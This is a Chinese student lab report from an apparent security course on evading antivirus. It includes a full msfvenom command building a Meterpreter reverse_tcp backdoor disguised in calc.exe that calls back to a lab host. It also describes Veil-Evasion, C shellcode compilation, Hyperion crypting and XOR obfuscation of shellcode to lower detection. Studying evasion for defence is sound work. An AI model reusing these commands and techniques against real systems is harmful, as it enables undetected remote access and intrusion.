20155301实验三 免杀原理与实践
20155301实验三 免杀原理与实践
实验内容
1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
2 通过组合应用各种技术实现恶意代码免杀
3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
基础问题回答
1.杀软是如何检测出恶意代码的?
答: 对恶意代码的文件属性、编程语言、字符串特征、输入函数、系统和网络的行为特征进行了分析,然后,通过挖掘Windows系统各种与进程相关的数据结构进行检测。
2.免杀是做什么?
答: 免杀将木马或病毒进行隐藏,伪装成正常软件,防止被杀毒软件发现并删除的技术。
3.免杀的基本方法有哪些?
答: 1. 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
- 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。
实践总结与体会
此次实验是在上次的基础上进行的,比上一次的实验所用的后门,此次尝试修改的后门更加隐蔽,可以不被及部分的杀毒软件查杀,此次学习的免杀的技术也让我认识到了网络中的不安全性,更让我对于杀毒软件的杀毒技术有些好奇,为什么这么简单就能产生的后门软件却能避过市面上流行的大部分杀毒软件,希望在之后的学习中能多学习一些杀毒技术来保障我们的信息安全。
离实战还缺些什么技术或步骤
免杀的技术还是有些单一,所完成的免杀的后门虽然不会被大部分杀毒软件发现,但是还有有可以发现免杀的后门程序的杀毒软件,我认为还缺少更加复杂的技术或者寻找一个利用各种免杀技术配合产生后门的方法,来进一步提高免杀率。
实验过程
1.测试上次实验产生的后门能不能被杀毒软件查杀出来。
选择的测试网站是Virscan,在对上次后门重命名之后,进行测试,有近一半的杀毒软件可以检测出来。
2.使用msf编码器,msfvenom生成如jar之类的其他文件。
2.1 Msfvenom是Metasploit平台下用来编码payloads免杀的工具,msfvenom命令行选项如下
-p,指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定。
-f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e,指定需要使用的encoder(编码器)
-a,指定payload的目标架构,指定payload的目标平台
-b,设定规避字符集,比如: '\x00\xff'
-i,指定payload的编码次数
-x,指定一个自定义的可执行文件作为模板
2.2 利用计算器程序作为可执行文件的模板生成payload
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.229.134 LPORT=5301 -x calc.exe -f exe > met-encoded.exe
测试结果如下:
3.veil-evasion,自己利用shellcode编程等免杀工具或技巧。
3.1 安装veil-evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装,需要我们自己安装,但是在安装过程中总会出现缺失几个软件包导致无法成功安装的问题,在反复尝试之后,选择了老师的虚拟机作为实验环境。
3.2 安装成功后,在Kali的终端输入veil进入Veil,之后输入list
3.3 输入use,选择Evasion
3.4 输入list payloads之后选择自己想要的语言,我第一次尝试的是比较熟悉的c语言,所以输入use 8
3.5 设置IP和端口,然后generate
3.6 出现下图所示,其中记下生成的文件存储的路径
3.7 放到网站上扫描下,然后开始回连,回连成功
4.C语言调用Shellcode
4.1 利用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.134 LPORT=5301 -f c生成一个c语言格式的Shellcode数组
4.2 利用i686-w64-mingw32-g++ met.c -o met.exe在Linux平台交叉编译Windows应用
4.3 复制到windows平台下,发现打不开
4.4 用VS编译生成了一个exe,测试回连
5.通过组合应用各种技术实现恶意代码免杀
5.1 找到veil-evasion下hyperion文件夹,进行操作
5.2 输入命令wine hyperion.exe -v 5301.exe 5301upx.exe
5.3 放到网站测试
6.修改代码提高免杀率
6.1 尝试对原shellcode异或0x01,异或之后再对字符串数组进行倒置操作,然后在代码中需要先进行倒置,即恢复原本异或01后的字符串数组,再异或01,可以返回原本的shellcode,希望通过修改shellcode原本的样子,降低其通过特征库查杀的概率,可以和杀软共存实现免杀,放到virscan上也只有2%的报毒率。